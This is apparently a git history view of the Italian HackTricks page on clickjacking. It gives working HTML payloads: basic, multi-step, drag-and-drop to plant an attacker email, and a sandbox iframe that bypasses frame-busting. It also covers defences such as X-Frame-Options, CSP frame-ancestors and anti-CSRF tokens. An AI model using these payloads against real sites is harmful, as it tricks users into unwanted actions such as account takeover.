hacktricks/pentesting-web/clickjacking.md

228 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-10 13:03:23 +00:00
## Cos'è il Clickjacking
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** in una pagina web che è **invisibile** o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
### Trucco per precompilare moduli
A volte è possibile **riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina**. Un attaccante potrebbe abusare di questo comportamento per compilare un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.
2020-10-13 11:29:54 +00:00
### Compilare il modulo con Drag\&Drop
2020-10-13 11:29:54 +00:00
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-02-10 13:03:23 +00:00
### Payload di base
```markup
<style>
2024-02-10 13:03:23 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload a più passaggi
```markup
<style>
2024-02-10 13:03:23 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
2024-02-10 13:03:23 +00:00
### Payload Drag\&Drop + Click
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Se hai identificato un attacco **XSS che richiede all'utente di fare clic** su un elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio:
_Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **prepopolare** il **modulo** con i parametri GET._
\_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **prepopolando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** affinché **invii** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
## Strategie per Mitigare il Clickjacking
### Difese Lato Client
Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
2024-02-10 13:03:23 +00:00
* Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
* Rendere tutti i frame visibili.
* Impedire clic sui frame invisibili.
* Rilevare e avvisare gli utenti di possibili tentativi di Clickjacking.
Tuttavia, questi script di frame-busting potrebbero essere elusi:
* **Impostazioni di Sicurezza dei Browser:** Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
* **Attributo HTML5 iframe `sandbox`:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con i valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
I valori `allow-forms` e `allow-scripts` abilitano azioni all'interno dell'iframe disabilitando la navigazione di alto livello. Per garantire la funzionalità prevista del sito preso di mira, potrebbero essere necessarie autorizzazioni aggiuntive come `allow-same-origin` e `allow-modals`, a seconda del tipo di attacco. I messaggi nella console del browser possono guidare su quali autorizzazioni consentire.
2024-02-10 13:03:23 +00:00
### Difese lato server
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
L'header di risposta HTTP **`X-Frame-Options`** informa i browser sulla legittimità del rendering di una pagina in un `<frame>` o `<iframe>`, contribuendo a prevenire il Clickjacking:
- `X-Frame-Options: deny` - Nessun dominio può inquadrare il contenuto.
- `X-Frame-Options: sameorigin` - Solo il sito corrente può inquadrare il contenuto.
- `X-Frame-Options: allow-from https://trusted.com` - Solo l'URI specificato può inquadrare la pagina.
- Notare le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.
2024-02-10 13:03:23 +00:00
#### Direttiva frame-ancestors di Content Security Policy (CSP)
La **direttiva `frame-ancestors` in CSP** è il metodo consigliato per la protezione dal Clickjacking:
- `frame-ancestors 'none'` - Simile a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Simile a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Simile a `X-Frame-Options: allow-from`.
Ad esempio, la seguente CSP consente solo l'inquadratura dallo stesso dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-10 13:03:23 +00:00
### Content Security Policy (CSP) con `child-src` e `frame-src`
2024-02-06 03:10:38 +00:00
**Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.
2024-02-06 03:10:38 +00:00
2024-02-10 13:03:23 +00:00
#### Direttiva `frame-src`
- Definisce le fonti valide per i frame.
- Più specifica della direttiva `default-src`.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Questo policy consente frame dalla stessa origine (self) e da https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-10 13:03:23 +00:00
#### Direttiva `child-src`
* Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
* Funziona come fallback per frame-src e worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.
2024-02-06 03:10:38 +00:00
**Note sull'Utilizzo:**
2024-02-06 03:10:38 +00:00
* Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
* Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
* Definizione di Origine Rigorosa: Includere solo origini attendibili nelle direttive per prevenire l'exploit.
#### Script JavaScript di Rottura Frame
2024-02-06 03:10:38 +00:00
Anche se non completamente sicuri, gli script di rottura frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga inserita in un frame. Esempio:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 13:03:23 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Utilizzo dei Token Anti-CSRF
* **Validazione del Token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>